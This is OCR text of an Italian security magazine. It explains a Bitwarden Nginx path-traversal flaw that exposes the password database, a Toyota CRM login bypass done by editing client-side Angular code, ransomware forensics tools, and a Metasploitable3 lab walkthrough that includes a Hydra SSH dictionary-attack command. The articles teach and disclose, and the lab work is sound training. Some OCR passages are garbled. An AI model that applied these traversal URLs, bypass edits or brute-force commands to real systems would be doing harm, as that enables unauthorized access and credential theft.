percorso, cioé la stringa “/../".
Quindi se si scrivesse un URL tipo:

http://bitwarden/attachments/ ../
prova.txt

Si otterrebbe un errore 403
(Forbidden). Se invece si digita:

http://bitwarden/attachments../
prova.txt

non si ottiene alcun errore, perché
la stringa /attachments../ non &
proibita. Perd poi Nginx traduce
comungque il percorso in:

/etc/bitwarden/attachments/ ../
prova.txt

Cioé in questo percorso esatto:

/etc/bitwarden/prova.txt

che é al di fuori della cartella root
definita nella configurazione, ma
a cui l'utente puo accedere senza
alcun problema. Questo non e un
bug in Nginx, € il suo preciso
funzionamento: ¢ la differenza tra
un percorso che termina con lo
slash e uno che non termina con
lo slash. Ci sono infatti casi
particolari in cui questa
distinzione puo essere utile per la
configurazione. Il problema é che
in questo caso, nel container di
Bitwarden, la configurazione &

scritta nel modo shagliato. E la
mancanza dello slash che permette
agli utenti di chiamare un percorso
di questo tipo:

http://bitwarden/attachments../
vault.db

e ottenere il file con i “segreti” di
Bitwarden. Il bug & quindi reso
pericoloso anche dal fatto che il
database & memorizzato nella
cartella superiore di quella con gli
allegati. Il “trucco” del doppio punto
allinizio della stringa puo infatti
essere usato una volta sola, quindi
se la cartella degli allegati fosse
stata in un percorso del tipo:

/etc/bitwarden/web/attachments/

non ci sarebbe alcun problema. E,
invece, a causa della struttura delle
cartelle, si puo vedere tutto cio che
€ contenuto in /etc/bitwarden.
Infatti, allo stesso modo si possono
anche ottenere i log
dell'applicazione, che sono
conservati nella cartella:

/etc/bitwarden/logs

Per esempio, chiamando un URL di
questo tipo:

http://bitwarden/attachments../
logs/notifications.log

VULNERABILITA

on una semplice

ossibile scaricare
interno database
QLite, per provare a
ecifrare le password.
ONTE: https://labs.
akaioffsec.com
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raversal
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LA VULNERABILITA

Per poter sfruttare questa
vulnerabilita bisogna avere accesso
a una istanza di BitDefender, ma
non € nemmeno necessario avere
delle credenziali. Cio significa che
esiste la possibilita che qualcuno,
dall'azienda stessa, possa
recuperare il database delle
password e cercare di forzarlo con
calma. Ma non solo: & anche
possibile che qualche malware
installato per sbaglio faccia una
scansione della rete alla ricerca di
guesti database SQLite esposti.
Certo, non e che un
malintenzionato possa leggere le
password dal database, sono
cifrate, pero e molto piu facile
tentare il brute force avendo a
disposizione il database completo.
La soluzione, implementata nel
giro di pochi giorni dalla sua
scoperta, € stata la correzione della
configurazione di Nginx. Va detto
che la versione “cloud” di
BitWarden, quella implementata
sui server ufficiali, non risultava
vulnerabile. Chi avesse installato
nella propria LAN una istanza
dockerizzata di BitWarden, a
guesto punto, deve solo assicurarsi
di avere l'ultima immagine del
container. O puo entrare nel
container e modificare il file di
configurazione di Nginx
aggiungendo lo slash mancante.
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analisi di un attacco che

digitali per meglio ca
dei sistemi informati

i ransomware e del loro
dilagare con attacchiin
netto aumento negli ultimi
anni, ne abbiamo parlato
Spesso su queste pagine. |
ransomware rappresentano oggi la
principale minaccia per la sicurezza
informatica, soprattutto nel Bel
Paese; lo scorso anno sono stati
ben 188 gli attacchi documentati, in
crescita del 169% rispetto allanno
precedente, con un preoccupante
7,6% degli attacchi andati a buon
fine, contro il 3,4% del 2021. Sono
questi i dati inquietanti divulgati per
I'anno 2023 dal rapporto redatto
dall’Associazione Italiana per la
Sicurezza Informatica (CLUSIT),
fondata nell'anno 2000 presso il
Dipartimento di Informatica
dell'Universita degli Studi di Milano.
In seguito a un attacco da
ransomware, gli esperti del settore
si ritrovano spesso a dover
affrontare una vera e propria
indagine forense in grado di

analizzare l'intero processo al fine di

individuarne i dati compromessi,
quelli trafugati e possibilmente gli
autori materiali dell'attacco.

> 18

consente di racco
pire come S| e verificata
ci. Ma quando S! usa?’

Vittime dell'attacco, forze dell'ordine
0 compagnie di assicurazioni, in
seguito a un attacco ransomware
possono ricorrere a quella che in
gergo & conosciuta come
Ramsomware Forensic, un processo
d'indagine complesso e
impegnativo, ma che puo rivelarsi
dawvvero utile per le vittime di un
attacco e per le forze dell'ordine.

Clusit
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gliere le prove
la violazione

L'indagine digitale si pud
sostanzialmente riassumere in due
fasi: raccolta e analisi delle prove,
interpretazione e reporting
dellindagine. Nella prima fase gli
investigatori digitali catalogano tutte
le prove in loro possesso (log di
sistema, registro degli eventi, flussi
di rete ecc.), poi si procede con la
ricerca di informazioni utili per
determinare il punto debole
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che il 37% degli attacchi globali

sfruttano ii malware, seguono lo sfruttamento delle vulnerabilita
12%), phishing e social engineering (12%) e attacchi di tipo DDoS (4%).
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RANSOMWARE FORENSICS

[ nostro Paese ¢ il terzo al mondo e il primo in Europa a
essere maggiormente colpito dai malware, & questo il
quadro preoccupante che emerge dall'ultimo rapporto -
“Stepping ahead of risk” divulgato da Trend Micro Research.
In aggiunta, secondo il report “Threatland” - redatto dal

Security Operation Center e dal team di Cyber Threat
Intelligence di Swascan - nel secondo trimestre di

;" Anche ['Al ha contribuito
all'ascesa degli attacchi
ransomware. Nuovi tool

raudGpt, "gemelli cattivi"

questanno, rispetto ai primi tre mesi, gli attacchi in Italia
sono aumentati del 34,6% (+62% a livello globale), con un
numero di aziende colpite sempre pit importante (+185%
dallinizio dellanno e +105% rispetto al secondo trimestre

dello scorso anno).

utilizzato per sferrare l'attacco, le
attivita eseguite dal malware, i dati
trafugati e/o criptati, le eventuali
tracce che possono far risalire
allautore dell'attacco.
L'interpretazione delle prove
consentira quindi agli esperti di
ricostruire l'intera sequenza degli
eventi dell'attacco; a quest'ultima
fase seguira lo step finale, owvero la
presentazione dei risultati
dellindagine alle parti interessate.

Ma quali sono gli strumenti che gli
investigatori forensi digitali usano
per compiere il lavoro investigativo
in seguito a un attacco
ransomware? Tra i vari tool
spiccano quelliin grado di
analizzare i file criptati dal malware
tentandone il ripristino, i software
utilizzati per analizzare i file dilog e i
file di sistema per identificare le
informazioni utili allindagine e
quelliimpiegati per analizzare il
codice del malware al fine di
carpirne funzionalita e origini.

La scelta dello strumento piu adatto
dipende da una serie di fattori, tra
cui il tipo di ransomware coinvolto,
le risorse disponibili e le
competenze dell'analista forense. Di

seguito alcuni degli strumenti
maggiormente utilizzati, da soli o in
combinazione.

VOLATILITY: un framework open
source scritto in Python, disponibile
per Windows, Linux e macOS, utile
per I'analisi della memoria forense e
utile per ricostruire eventi avenuti
sulla macchina oggetto dell'attacco.
Il framework consente di estrarre
informazioni da processi e thread in
esecuzione, DLL caricate, registri
interessati ecc.

Sito Internet: https://www.
volatilityfoundation.org/

FTKIMAGER: uno strumento
impiegato per eseguire una copia
forense di ogni supporto digitale.
Consente, inoltre, di eseguire la
copia della memoria RAM e
visualizzare in anteprima file e
cartelle su dischi locali, unita di rete,
o0 qualunque altra unita flash.

Sito Internet: https.//www.exterro.
com/ftk-imager

WIRESHARK: un potente
analizzatore di pacchetti di rete
open source. Permette di catturare
il traffico di rete proveniente da
diverse interfacce, consentendo
Ianalisi del flusso di dati in tempo

i ChatGpt, hanno

ermesso ai
cybercriminali di creare
Battacchi pitl complessi.
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reale o da dati “catturati” in
precedenza. Wireshark € in grado di
decodificare e visualizzare pacchetti
di dati in base a una vasta gamma
di protocolli di rete, tra cui HTTP,
TCP, UDP, IP, DNS, SSL/TLS ecc,,
consentendo agli investigatori di
esaminare in dettaglio come i dati
vengono scambiati tra i vari
dispositivi di rete.

Sito Internet: https://www.
wireshark.org/

CAPEV2: una potente sandbox
forense open source. Permette di
eseguire o controllare file sospetti
in un ambiente controllato e isolato.
Il tool consente anche di recuperare
tracce di chiamate APl win32
eseguite da tutti i processi generati
dal malware, cosi come i file creati,
eliminati e scaricati da quest'ultimo.
Sito Internet: https://github.com/
kevoreilly/CAPEV2

AUTOPSY: Permette l'analisi di
partizioni o immagini del disco. In
seguito a un attacco il tool permette

di analizzare i dispositivi di
archiviazione, recuperare file di ogni
genere e cercare manipolazioni del
sistema all'interno del filesystem.

Sito Internet: https://www.autopsy.
com/ ®
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Un servizio dedicato ai
per la gestione delle anagra

di bypassare l'a

e forniamo i nostri dati

a un social network

0 a un qualche sito web,

tendiamo (si spera) a
chiederci che fine faranno quei
dati. E del resto se l'introduzione
del GDPR é servita a qualcosa in
Europa, € proprio a rendere
palese a tutti che molti servizi
web utilizzano i nostri dati. Certo,
poi non & servita a molto altro
perché la gente clicca comunque
su “Accetto” senza nemmeno

leggere l'informativa della privacy.

E quindi se un bel giorno
qualcuno trova i suoi dati
pubblicati da qualche parte, o
qualche pubblicita un po’ troppo
personalizzata, € almeno in grado

GLOSSARIO
DI BASE

FRONTEND-BACKEND

Molte applicazioni web sono realizzate secondo la
filosofia Frontend-Backend, in cui il fronted e
sostanzialmente “ignorante”, non accede al database e

responsabili comm
fiche, nascondeva un

. ‘
utenticazione. Svelati i retroscena.

di correlare la cosa a qualche

servizio online dall'origine dubbia.

Quello che & forse meno chiaro &
che i nostri dati sono anche nelle
mani di aziende piu “tradizionali”,
che non svolgono la propria
attivita sul Web ma che li usano
per scopi interni. Nelle grandi
aziende, infatti, uno degli asset piu
preziosi € il registro dei clienti:
tutte le aziende cercano di
tracciare quanto piu possibile un
profilo dei propri clienti, in modo
da poter proporre loro nuovi
prodotti e in generale evitare che
si rivolgano alla concorrenza. |l
profilo ha, come minimo, una
anagrafica, ma a seconda dei casi
puo includere anche informazioni

A cura di
Luca Tringali

erciali di Toyota Messico,

bug che permetteva

sui prodotti acquistati, i periodi di
garanzia, gli accessori richiesti
eccetera. Il fatto e che i
responsabili commerciali hanno
poi bisogno di queste
informazioni, e spesso la soluzione
migliore per facilitare loro
I'accesso e fornire una interfaccia
web. Queste maschere sono
ovwviamente protette da una
autenticazione, ma in linea di
massima sono siti web come tutti
gli altri, e quindi potenzialmente
vulnerabili ad attacchi di vario
genere. L'esempio che facciamo e
il recente caso di authentication
bypass su Toyota C360,
I'interfaccia web utilizzata dalla
famosa casa automobilistica.

applicazioni web di una stessa azienda. Se gestito

degli account.

non fa alcuna reale operazione. Si occupa solo di fare

chiamate http alle API fornite da un backend, il quale

svolge effettivamente le varie operazioni chieste
dall'utente.

Un Single Sign On e semplicemente un servizio
centralizzato che offre delle API per il login di diverse
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correttamente puo essere una soluzione piu sicura e
efficiente, proprio perché c'e un unico punto di gestione

Le rotte http sono semplicemente gli URL relativi di una

applicazione. Per esempio, in facebook.com/messages,
la rotta per la messaggistica € /messages.
Le applicazioni Angular utilizzano i “router” per gestire

aun URL.

Lle rotte e stabilire quale funzione debba rispondere




Cito

ILMOMENTO ANGOLARE

[l CRM di Toyota in questione era
raggiungibile all'url https://c360.
customercentral.toyota.com/, ed &
una applicazione realizzata in
Angular. Questo significa che
I'applicazione viene eseguita
interamente nel browser
dell'utente, ovviamente con
chiamate alle API del backend.

Ed € una single page application,
quindi tutto sommato abbastanza
facile da analizzare. Controllando il
codice sorgente, si vedono alcune
variabili d'ambiente con i vari URL:

const environment = {

production: false,

apiBaseURL: ‘https: //dev.
customercentral.toyota.com’,

envName: ‘dev’,

applicationURL: ‘https: //c360.
dev.customercentral.toyota.com’,

/*

US legacy application

/*

// azureClientId: ‘49465297-34e9-
41b5-b44b-aS3703786574 ",

// authority: ‘https: //login.
microsoftonline.com/tmnatest.
onmicrosoft.com’

/*

Mexico application

%/

azureClientId: ‘beSal6ef-b40f-
4cc7-9cle-476b30579d32”,

authority: ‘https: //login.
microsoftonline.com/tmnatest.
onmicrosoft.com’

COL RINCON DE

[ [eere—
[ -

Firasa baresee

FRACC. CASADIGNA

Questo ci fa capire, per esempio,
che 'ambiente di staging si trova
su dev.customercentral.toyota.
com, che una volta c'era anche la
gestione degli utenti degli Stati
Uniti (che probabilmente adesso
saranno su un altro CRM), e che
I'autenticazione avviene tramite il
single sign on di Microsoft. Il sito
di produzione, quando era attivo,
restituiva un codice 403,
Unauthorized, senza alcun punto
di accesso. Probabilmente era
necessario accedere con qualche
token fornito da un'altra pagina di
login ignota (magari un sito
aziendale). Apparentemente,
quindi, senza alcuna possibilita di
entrare.

L'ambiente di staging, invece,
propone una pagina di login del
Single Sign On di Microsoft, con le
credenziali aziendali di Toyota
(che evidentemente utilizza i
servizi di Office365).
Naturalmente, il single sign on di
Azure & molto affidabile, non si
puo certo forzare se non si
conosce la password di un utente.
Pero bisogna vedere come e stato
gestito il processo di
autenticazione. E, nel caso del
CRM (360, l'autenticazione viene
gestita direttamente dal frontend
Angular. Questo e un problema,
perché per la natura stessa di
Angular il codice viene scaricato
nel browser dell'utente ed
eseguito direttamente [i.

VULNERABILITA

Entrati nel CRM,

e possibile cercare un
cliente semplicemente
conoscendo il suo nome
e cognome.

FONTE: https://eaton-
works.com/2023/03/06
toyota-c360-hack

Questo significa che, pit 0 meno
facilmente a seconda delle
implementazioni, l'utente pud
modificare il codice stesso. In
questo caso, gli esperti di sicurezza
informatica hanno scoperto che
bastava commentare un paio di
funzioni per evitare il redirect sulla
pagina di login di Microsoft in
main.js:

login(){

// this.msalService.loginPopup().
subscribe(

// (response:
AuthenticationResult) = {

//  console.info({ response:

response });

// this.msalService.instance.
setActiveAccount(response.
account);

/1Y,

// (err) = {

// console.error({err:err});
//}

/1 );

/[ this.msalService.LloginRedirect();
}

e restituire, al posto del

risultato del login, un oggetto
JSON vuoto in vendor.js:
ClientApplication.prototype.
getActiveAccount = function () {
//return this.browserStorage.

getActiveAccount();
return {};

L'applicazione, a quel punto, ritiene
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che il login sia avvenuto senza
errori, e presenta quindi la
dashboard dell'applicazione CRM.
Questo rende bypassabile
l'autenticazione del Single Sign
On. Naturalmente, si ottiene
I'accesso allambiente di staging,
che contiene dati fasulli. Ma &
possibile accedere anche ai dati
di produzione, con informazioni
su veri clienti di Toyota?

Alla fine, 'applicazione & sempre la
stessa, e l'autenticazione risulta
gia completata con successo,
basterebbe avere I'endpoint delle
API di produzione invece di quello
di staging per fare richieste verso il
server collegato al database con
dati reali. In teoria 'URL
dell'endpoint di produzione
dovrebbe essere segreto, e di
sicuro l'applicazione di staging non
ha alcun bisogno di memorizzarlo
da qualche parte. E, invece,
scorrendo i file del sorgente si
trova un file di configurazione che
contiene tutti gli endpoint, anche
quelli non utilizzati. Trovato 'URL
di produzione, & molto facile
sostituirlo al volo nella
configurazione degli endpoint da
usare: da quel momento le
chiamate alle APl verranno
indirizzate verso I'URL di
produzione invece di quello di
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toyota-c360-hack

staging, e risulteranno provenire
da una istanza dell'applicazione

paese, equivalenti al 20% circa del
mercato (https://www.best
-selling-cars.com/brands/2021
-full-year-global-toyota-worldwide
-car-sales-production-and-exports/).
E il CRM C360 contiene dati non
solo dei nuovi clienti ma anche di
quelli passati, incluse le varie
riparazioni richieste nelle officine.
Ci sono tutti i vari dati anagrafici e
di contatto, incluso l'indirizzo di
casa, il telefono e I'email.

LA SOLUZIONE

La strada scelta da Toyota, per

correttamente autenticata.

L'altro errore grave e che le API
non controllano la provenienza
delle richieste, quindi il backend di
produzione risponde senza
problemi a richieste provenienti
da una istanza frontend di
staging. La cosa poteva anche
funzionare, pur essendo rischiosa,
se nessuno fosse riuscito a trovare
'URL di produzione. Ma, visto che
lo hanno inserito nella
configurazione ed é quindi visibile
nel sorgente dell'app di staging,
non c'é alcun reale livello di
sicurezza. In altre parole, la
combinazione del bypass
dellautenticazione su staging e la
possibilita di leggere e sostituire
“impunemente” 'endpoint di
produzione permette un accesso
non autenticato al db di
produzione.

LA VULNERABILITA

La vulnerabilita ha colpito, in
guesto caso, i clienti di Toyota in
Messico. Che sono parecchie
persone: solo nel 2021, ultimo
anno per cui al momento abbiamo
delle statistiche, Toyota e i brand
del suo gruppo hanno venduto
oltre 90 mila veicoli in questo

proteggere i dati dei clienti,
consiste nell'oscurare l'intera
applicazione, evidentemente
decidendo di farne a meno, o
magari proteggendola con una
VPN. Una cosa che avrebbe senso,
infatti, € tenere questi servizi
dentro una VPN, ma la poca abilita
informatica dei dipendenti spesso
rende difficile implementare
regole di accesso troppo
stringenti. A livello di codice,
invece, in Angular e possibile
utilizzare l'interfaccia canActivate
(https://angular.io/api/router/
CanActivateFn) per far sapere a un
router quali rotte possono essere
chiamate e in quali condizioni,
magari dietro un sistema di token
temporanei per evitare che
qualcuno possa fare chiamate API
soltanto conoscendo 'URL. Una
buona norma, in generale, &
trattare il codice lato client come
insicuro. Le chiamate alle API
devono sempre essere
adeguatamente protette di per sé,
senza fare affidamento sul codice
client, e l'autenticazione dovrebbe
essere gestita da un backend, in
modo da non dare all'utente il
controllo sullo stato della
procedura di login.
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Continua il nostro corso su come u
questo numero utili

ello che e denominat

da pentester: in
per effettuare qu

| nostro pentest della VM
Metasploitable3 - la
macchina virtuale
“vulnerabile by design”
sviluppata da Rapid7 come
ambiente addestrativo per le
verifiche di sicurezza e I'utilizzo
dei propri tool (Metasploit in
primis) - sta iniziando a dare i
primi frutti. Nelle scorse
puntate, dopo il tuning iniziale
dell'ambiente virtuale che
utilizziamo per il penetration
test [figura #1], ci siamo
dedicati a un'iniziale fase di
scansione, volta a individuare i
servizi in esecuzione sul
sistema target. Al
completamento di questa
attivita, abbiamo focalizzato la
nostra attenzione su un
servizio in particolare, SSH,
attirati dallinconsueta
associazione tra un sistema
Windows e un servizio
generalmente associato ad
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'lédﬁluguﬁ;1frv
umentare le competenze
~>zeremo alcune WOl’dll'St"
o “attacco a dizionario

ambienti Unix/Linux.

In questo modo, siamo riusciti
a identificare la versione del
servizio SSH disponibile sulla
porta 22 di Metasploitable
(OpenSSH 7.1): una versione
che, sebbene piuttosto datata,
non é risultata affetta da
vulnerabilita di gravita elevata,
come testimoniato dal risultato
(decisamente al di sotto delle
aspettative) delle indagini
effettuate avvalendoci di
ExploitDB (il noto database
pubblico di vulnerabilita,
consultabile al link https://

figura #1
-

exploit-db.com), o meglio della
sua interfaccia a riga di
comando presente
nativamente in Kali Linux,
searchsploit

[figura #2]. Il problema di
sicurezza piu rilevante che
abbiamo individuato consiste
nella vulnerabilita CVE-2018-
15473 [figura #3] di tipo “user
enumeration”, grazie alla quale
€ possibile stabilire se un
determinato nome utente sia
definito o meno sul sistema
locale attraverso un banale
tentativo di login.

AmEEEsEEEEEEEE,

169.254.161.202

?169.254.161.10 (metasploltabla-:sl

Console d'attacco

VM target

Un penetration test che si rispetti non puo prescindere

dalla realizzazione, prima di iniziare, di una mappa della rete target.
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La CVE pit rilevante che abbiamo individuato
per la versione di OpenSSH in uso su

Searchsplmt non e partmo[armente prod|go di risultati @Metasploitable consente lenumerazione

per la versione di OpenSSH in uso su Metasploitable.

STEALTH O EFFICACE?

A tal riguardo € bene
aggiungere un tassello, che
nelle scorse puntate abbiamo
volutamente tralasciato per
soffermarci sugli aspetti
tecnico-pratici dell'attacco: far
ricorso a questa vulnerabilita ha
il suo prezzo! Oltre al fattore
tempo (in quanto, come
abbiamo gia avuto modo di
vedere, € necessario sottoporre

Scopriamo la VM

etasploitable3 & pensata per un uso addestrativo, al

fine di consentire ai penetration tester in erba di
migliorare le proprie skill. A tal riguardo, costituisce un
importante upgrade rispetto alla sorella maggiore
(Metasploitable2, a cui abbiamo dedicato tante puntate
della nostra serie), introducendo novita di rilievo come:
« Il ricorso a Windows, che consente di ampliare la nostra
esperienza (sin qui formatasi esclusivamente in ambiente
GNU/Linux, essendo Metasploitable2 una VM basata su
una distro Linux) alla trattazione di vulnerabilita e di
problematiche di sicurezza peculiari di quello che & uno
dei sistemi operativi piu diffusi in ambito desktop e server;
+ L'utilizzo dei flag, appositi file utilizzati nei contest CTF
(acronimo, per l'appunto, di Capture the Flag) per
simboleggiare quegli asset aziendali obiettivo tanto degli
attaccanti che dei penetration tester (i quali, a
dimostrazione del lavoro svolto e dell'eventuale esistenza
di una o piu vulnerabilita in grado di compromettere la

al tool che sfrutta la CVE-2018-
15473 una wordlist corposa di
potenziali nomi utente da
utilizzare per i tentativi di login),
gia di per sé generalmente
contingentato durante una
verifica di sicurezza (che
generalmente deve essere visto - la vulnerabilita si presti
completata entro un tempo
massimo concordato con il
committente e/o attenendosi a
orari ben precisi), lo

degli utenti locali, ma niente di piU.

sfruttamento della vulnerabilita
comporta molteplici tentativi di
login per utenti non definiti sul
sistema, per ciascuno dei quali
viene di norma aggiunto un
record ai log di OpenSSH. In
altri termini, sebbene - come

perfettamente
allenumerazione degli utenti
locali del sistema target, il suo
utilizzo dovrebbe essere

sicurezza della rete testata, ne marcano / segnalano la
presenza nel report finale);

+ L'impiego di tecniche aggiuntive (come l'offuscamento,
I'utilizzo di contenuti embedded nei file, attributi dei file
particolari o permessi d'accesso particolarmente
stringenti) a protezione delle flag, per rendere piu
realistico I'accesso alle carte, simulando quanto awiene
nel mondo reale (in cui le informazioni pit importanti sono
generalmente protette da misure di sicurezza aggiuntive);
+ L'uso di un approccio di tipo gamification, in cui - al
pari di quanto awviene in molte piattaforme (soprattutto
on line) per aspiranti pentester - la VM ci offre la possibilita
di sfidare noi stessi (e magari gli amici) nella ricerca del
“mazzo di carte” nascosto al suo interno, che costituisce il
formato specifico con cui gli sviluppatori di
Metasploitable3 hanno voluto rappresentare le flag da
catturare (mettendoci letteralmente la faccia, giacché ogni
carta é dedicata a uno di loro).




ix_users.

Il modulo ssh_enumusers al lavoro: grazie alla wordlist selezionata

e possibile individuare ben 5 utenti locali, ma niente vi vieta

di estendere il tentativo di enumerazione a ulteriori dizionari,
per scoprire se questo risultato sia migliorabile.

preventivamente valutato dal
pentester, sulla base delle
caratteristiche della specifica
verifica di sicurezza che sta

conducendo in quel momento.

Un esempio? Se si & impegnati
in un penetration test “black
box", ovvero senza che il
personale dell'organizzazione
interessata dal test - tranne
pochi, selezionati membri del
management, se non l'unico
che ha commissionato
I'attivita e rilasciato la relativa
manleva - ne sia a
conoscenza, i log in questione
potrebbero mettere all'erta il
comparto IT/ il SOC interno, o
peggio essere scambiati per
un’attivita malevola in corso,
provocando l'attivazione delle
conseguenti contromisure,

in grado potenzialmente di
impedire la prosecuzione

del test.

UTENTI ENUMERATI
Chiarito questo aspetto - non
meno importante,
nell'economia di una verifica di
sicurezza, del problema tecnico
Vero e proprio - possiamo
tornare all’attacco condotto
ai danni del servizio SSH e,
soprattutto, ai suoi frutti. Grazie
a Metasploit (il celeberrimo
framework per il penetration
test, di cui riportiamo nel box
omonimo le caratteristiche
salienti e le istruzioni di
configurazione), e al suo
modulo ssh enumusers, siamo
stati in grado di individuare un
certo numero di utenti locali
definiti in Metasploitable3
[figura #4], inseriti
automaticamente all'interno
della workspace
“metasploitable3” del database
interno di Metasploit all'esito
dell'esecuzione del modulo. In

ioura #5

private realm private_type JtR Format

Con il comando “creds"”, possiamo visualizzare gli account sin qui

individuati nel corso della verifica di sicurezza... a patto,
naturalmente, di aver configurato correttamente il database interno

di Metasploit e aver selezionato la corretta workspace!
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questo modo, ci siamo garantiti
la persistenza dei nomi utenti
“scoperti” anche a fronte della
chiusura del framework: dopo
aver avviato nuovamente, con il
comando:

# msfconsole

e aver caricato la workspace
creata la scorsa puntata:

msf6> workspace metasploitable3

possiamo disporre la
visualizzazione delle credenziali
salvate (che per ora si limitano
al solo username) utilizzando il
comando [figura #5]:

msf6> creds

CHI CERCA, TROVA!

Il passo successivo
all'enumerazione degli utenti &,
chiaramente, quello di cercare
di ottenerne la relativa
password. Esistono diverse
tecniche che possiamo utilizzare
per lo scopo; in questa sede,
tuttavia, ci limiteremo a provare
quella piu elementare, il
cracking. Utilizzeremo cioé
alcune delle wordlist presenti in
Kali per effettuare quello che
formalmente & denominato
“attacco a dizionario”.
Mediante ricorso a un tool
apposito proveremo, per
ciascun utente, a effettuare il
login al servizio SSH utilizzando
tutte le password contenute
all'interno della wordlist scelta:
se uno di questi tentativi di
login dovesse andare a buon
fine, avremmo scoperto una
coppia di credenziali valide. Si
tratta di un attacco che - in
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Hydra e un tool molto potente e versatile,
come si puo notare dalle tantissime opzioni

di configurazioni, che il manuale ci illustra
con dovizia di particolari.
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Dalla shell di Metasploit e possibile invocare “awk"

e “cat’, che ci consentono di manipolare i file di
testo eventualmente prodotti e/o esfiltrati durante
la nostra verifica di sicurezza.

ambienti privi di una password
policy sufficientemente
robusta - puo portare a
risultati senz'altro
soddisfacenti, sebbene
comporti - come nel caso
delllenumerazione appena

completata - un certo effort in
termini di tempi d'esecuzione
e un non trascurabile rischio di
rilevamento, vista la presenza
di ripetuti tentativi di login in
un breve periodo per il
medesimo username.

1TOOL

Se riteniamo congruo il
rapporto costo/benefici di
questa attivita, allora possiamo
inserirla nella nostra verifica di
sicurezza, a patto di individuare
quale sia il tool da utilizzare per

Scaricare e installare le VM

Per seguire i nostri tutorial € necessario disporre di:

+ Una macchina virtuale Metasploitable3 (il sistema oggetto
di test);

+ Una macchina virtuale Kali Linux (la console del pentester).
Per l'installazione di entrambe, faremo ricorso a Vagrant;
supponendo di disporre di un sistema GNU/Linux Debian
like, la procedura da seguire & basata su questi step:

* Installazione dell’'hypervisor Virtualbox e del software
Vagrant:

# apt-get update;

# apt-get upgrade;

# apt-get install Virtualboxx;

# apt-get install Vagrantx.

* Download e deploy dellimmagine Vagrant di
Metasploitable3, all'interno di una directory dedicata:

# vagrant init rapid7/metasploitable-win2k8 —box-
version 0.1.0-weekly

# vagrant up

* Configurazione della VM Metasploitable3: € opportuno,
prima di awiare la VM (a cui il processo di deploy potrebbe

aver assegnato un nome non necessariamente intuitivo,
obbligandoci ad assicurarci il corretto riconoscimento
mediante il nome del dispositivo di archiviazione in uso, dal
nome inequivocabile di metasploitable3-win2k8-disk001.
vmdk), dare un‘occhiata alla sua configurazione, correggendo
se necessario le eventuali impostazioni che Virtualbox stesso
dovesse segnalarci come non valide e ponendo, soprattutto,
la relativa network card sulla rete interna intnet (basta
accedere alla scheda “Rete” delle configurazioni);

* Download e deploy dell'immagine Vagrant di Kali
Linux:

# vagrant init kalilinux/rolling

# vagrant up

Anche in questo caso vale il suggerimento di verificare e
correggere la configurazione della VM (specie per quanto
riguarda le impostazioni della scheda di rete, da porre sulla
rete interna intnet), mediante I'apposita interfaccia di VB.

+ Configurazione della VM Kali, con particolare riferimento
alla necessita di assicurarne il collegamento - al pari della VM
Metasploitable3 - alla rete interna intnet, al fine di garantire il
colloquio tra la console del pentester e il sistema testato.

2] .



~/metasploitable3

usernamePT.txt -= n

L'esecuzione di Hydra puo richiedere del tempo,
ma puo portarci a individuare una coppia

di credenziali valide per l'accesso al sistemal!

lo scopo. Esistono infatti
tantissimi software progettati e
realizzati proprio per eseguire
questo particolare task: tra tutti,
non possiamo non citare Hydra
[figura #6], che molti di voi
probabilmente ricorderanno
dalle precedenti puntate di
guesta serie. Per effettuare un
attacco del dizionario
sull'autenticazione SSH, il tool ha
bisogno di due wordlist: 'elenco
delle password da provare e
I'elenco dei nomi utente da
forzare. Se per la prima
possiamo rivolgerci, ancora una
volta, alla directory /usr/share/
wordlists di Kali Linux, per la
seconda é necessario esportare i
contenuti del db interno di
Metasploit, che rappresenta
I'unico repository dove sono

i
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mutasploitablel

conservati, al momento, gli
username enumerati.

ESPORTAZIONE

DAL DATABASE

Finora ci siamo limitati
semplicemente a consultare
tali username [figura #5], ma il
comando “creds” sin qui
utilizzato ne consente anche
I'esportazione in formato CSV
(Comma Separated Value), a
patto di invocarlo con l'opzione
-0:

msf6> creds -o /home/
garrick/metasploitable3/
username.csv

dove /home/garrick/
metasploitable3/username.csv
e il path assoluto del file di

l modulo
_login

effettuare il login

remoto tramite
L
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Ecco il sogno di ogni penetration tester: la
compromissione dell'account Administrator, per

giunta con un “semplice” password cracker!

output che si vuole creare.
Hydra, tuttavia, non ha
bisogno di un file CSV, ma
piuttosto di una semplice lista
(che si tratti di username o di
password) di valori in cui ogni
item sia inserito,
singolarmente, su una riga
distinta di un file di testo.
Dobbiamo quindi sottoporre il
CSV appena ottenuto a una
piccola manipolazione,
utilizzando awk:

msf6> aWk _F H\"'\"" l{print
$4}’ /home/garrick/
metasploitable3/username.csv >

/home/garrick/metasploitable3/
usernamePT. txt

in modo da estrarre il quarto
campo (quello che, per
I'appunto, specifica il nome
utente enumerato) di ciascuna
riga del file CSV, e salvare
I'elenco risultante nel file
usernamePT.txt (che nel
nostro specifico caso é salvato
nella directory /home/
garrick/metasploitable3/). Al
pari di awk, possiamo
utilizzare anche cat all'interno
di Metasploit, in modo da
poter visualizzare a video il
risultato dei nostri sforzi:
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3 auxiliary(

Le operazioni preliminari per utilizzare correttamente ssh_login:

e necessario selezionare il target, l'elenco degli username
da utilizzare, l'elenco delle password (o la password, come nel

nostro caso) da adoperare.

msf6> cat  /home/garrick/

metasploitable3/usernamePT. txt

ci mostra I'elenco dei nomi
utenti, pronto per essere dato
in pasto a Hydra [figura #7].

HYDRA

Dopo aver awviato il terminale,
navighiamo quindi nella
directory /home/garrick/
metasploitable3/ ove abbiamo
salvato 'elenco degli username.
A questo punto non ci resta che
invocare il tool, con il comando:

# hydra -L usernamePT.txt -e nsr
-P /usr/share/wordlists/
metasploit/snmp_default_pass.txt
metasploitable3 -s 22 ssh -t 32

Ecco significato delle opzioni:

* -L specifica, per l'appunto, il
nome del file contenente la
lista degli utenti da sottoporre
all'attacco;

* -P individua la wordlist delle
potenziali password da
provare per ciascun utente
(visto che si tratta del primo
tentativo abbiamo optato per
una wordlist dalle dimensioni
piuttosto contenute, costituita
da circa 100 password);

* -e nsr istruisce il tool a
provare, in aggiunta a tale
lista, anche tre password
“specifiche”: la password
vuota, quella coincidente con
lo stesso nome utente, e
quella ottenuta dall'inversione
dell'username (la coppia di
credenziali [root,toor] vi
ricorda qualcosa, giusto per
rimanere in tema?);

* -s specifica la porta ove |l
servizio target & posto in
ascolto;

* -t indica il numero di task
paralleli che Hydra pud
impiegare per velocizzare le
operazioni di attacco.

SECONDA SCANSIONE
Dopo un certo tempo (quando
si lanciano attacchi alle
password - siano essi basati
su dizionario, brute force o
password spray - € sempre
buona norma armarsi di
pazienza... oppure lavorare in
parallelo su un‘altra attivita!),
Hydra ci restituira una
schermata come quella di
